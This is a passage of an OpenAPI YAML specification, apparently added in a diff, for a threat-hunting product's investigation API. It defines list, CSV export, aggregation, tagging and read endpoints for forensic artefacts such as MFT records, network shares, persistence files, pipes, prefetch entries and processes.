+        - investigation
+  /data/investigation/hunting/ListDirAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ListDirAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ListDir'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/MFT/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_MFT_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/MFT'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/MFT/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_MFT_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/MFT/get_directory/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_MFT_get_directory
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: volumename
+          required: false
+          type: string
+        - in: query
+          minLength: 1
+          name: job_instance_id
+          required: false
+          type: string
+        - in: query
+          minLength: 1
+          name: path
+          required: false
+          type: string
+        - in: query
+          minLength: 1
+          name: ordering
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/MFTGetDirectoryResponse'
+            type: array
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/MFT/mountpoints/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_MFT_mountpoints
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: job_instance_id
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/ResponseMountpoints'
+            type: array
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/MFT/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_MFT_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/MFT/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_MFT_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MFT'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/MFTAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_MFTAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/MFT'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/MFTAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_MFTAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/MFTAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_MFTAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/MFTAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_MFTAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MFT'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/NetworkDiscovery/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_NetworkDiscovery_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/NetworkDiscovery'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/NetworkDiscovery/device/{hardware_address}/:
+    get:
+      description: Get the list of all subnets a device was seen in.
+      operationId: data_investigation_hunting_NetworkDiscovery_device
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/SubnetAgg'
+            type: array
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: hardware_address
+        required: true
+        type: string
+  /data/investigation/hunting/NetworkDiscovery/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_NetworkDiscovery_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/NetworkDiscovery/subnet/{subnet_id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_NetworkDiscovery_subnet
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/NDAsset'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: subnet_id
+        required: true
+        type: string
+  /data/investigation/hunting/NetworkDiscovery/subnet/{subnet_id}/stats/:
+    get:
+      description: Get the first and last observation time for a subnet.
+      operationId: data_investigation_hunting_NetworkDiscovery_subnet_stats
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubnetStats'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: subnet_id
+        required: true
+        type: string
+  /data/investigation/hunting/NetworkDiscovery/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_NetworkDiscovery_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetworkDiscovery'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/NetworkShare/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_NetworkShare_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/NetworkShare'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/NetworkShare/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_NetworkShare_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/NetworkShare/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_NetworkShare_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/NetworkShare/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_NetworkShare_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetworkShare'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/NetworkShareAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_NetworkShareAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/NetworkShare'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/NetworkShareAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_NetworkShareAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/NetworkShareAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_NetworkShareAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/NetworkShareAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_NetworkShareAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetworkShare'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/PersistanceFile/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_PersistanceFile_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/PersistanceFile'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/PersistanceFile/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_PersistanceFile_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/PersistanceFile/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_PersistanceFile_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/PersistanceFile/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_PersistanceFile_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PersistanceFile'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/PersistanceFileAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_PersistanceFileAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/PersistanceFile'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/PersistanceFileAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_PersistanceFileAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/PersistanceFileAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_PersistanceFileAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/PersistanceFileAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_PersistanceFileAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PersistanceFile'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Pipe/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Pipe_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Pipe'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Pipe/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Pipe_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Pipe/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Pipe_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Pipe/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Pipe_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Pipe'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/PipeAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_PipeAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Pipe'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/PipeAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_PipeAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/PipeAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_PipeAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/PipeAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_PipeAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Pipe'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Prefetch/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Prefetch_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Prefetch'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Prefetch/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Prefetch_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Prefetch/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Prefetch_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Prefetch/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Prefetch_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Prefetch'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/PrefetchAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_PrefetchAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Prefetch'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/PrefetchAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_PrefetchAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/PrefetchAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_PrefetchAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/PrefetchAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_PrefetchAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Prefetch'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Process/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Process_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
